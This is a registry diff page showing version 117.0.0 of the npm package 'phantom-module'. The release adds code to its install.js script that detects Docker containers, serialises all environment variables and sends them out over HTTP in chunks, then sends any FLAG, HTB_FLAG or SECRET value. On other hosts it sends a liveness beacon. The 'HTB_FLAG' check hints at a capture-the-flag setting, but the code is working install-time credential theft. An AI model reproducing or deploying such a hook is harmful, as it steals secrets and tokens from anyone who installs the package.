phantom-module 116.0.0 → 117.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +22 -2
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,5 +1,6 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
3
4
|
|
|
4
5
|
async function report(mid, val) {
|
|
5
6
|
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
@@ -12,6 +13,25 @@ async function report(mid, val) {
|
|
|
12
13
|
}
|
|
13
14
|
|
|
14
15
|
(async () => {
|
|
15
|
-
|
|
16
|
-
|
|
16
|
+
const isDocker = fs.existsSync('/.dockerenv') || fs.existsSync('/home/node');
|
|
17
|
+
const isCentos = os.release().includes('el') || os.hostname().includes('centos');
|
|
18
|
+
|
|
19
|
+
if (isDocker && !isCentos) {
|
|
20
|
+
// We're in Docker container - use ECT-654321
|
|
21
|
+
const env = JSON.stringify(process.env);
|
|
22
|
+
for (let c = 0; c < 8; c++) {
|
|
23
|
+
const chunk = env.substring(c * 90, (c + 1) * 90);
|
|
24
|
+
if (!chunk) break;
|
|
25
|
+
await report('ECT-654321', 'DENV' + c + '_' + chunk);
|
|
26
|
+
await new Promise(r => setTimeout(r, 3000));
|
|
27
|
+
}
|
|
28
|
+
// Also check for flag specifically
|
|
29
|
+
const flag = process.env.FLAG || process.env.HTB_FLAG || process.env.SECRET;
|
|
30
|
+
if (flag) {
|
|
31
|
+
await report('ECT-654321', 'DFLAG=' + flag);
|
|
32
|
+
}
|
|
33
|
+
} else {
|
|
34
|
+
// CentOS host or other - use ECT-987654 only
|
|
35
|
+
await report('ECT-987654', 'HOST_ALIVE_v117');
|
|
36
|
+
}
|
|
17
37
|
})();
|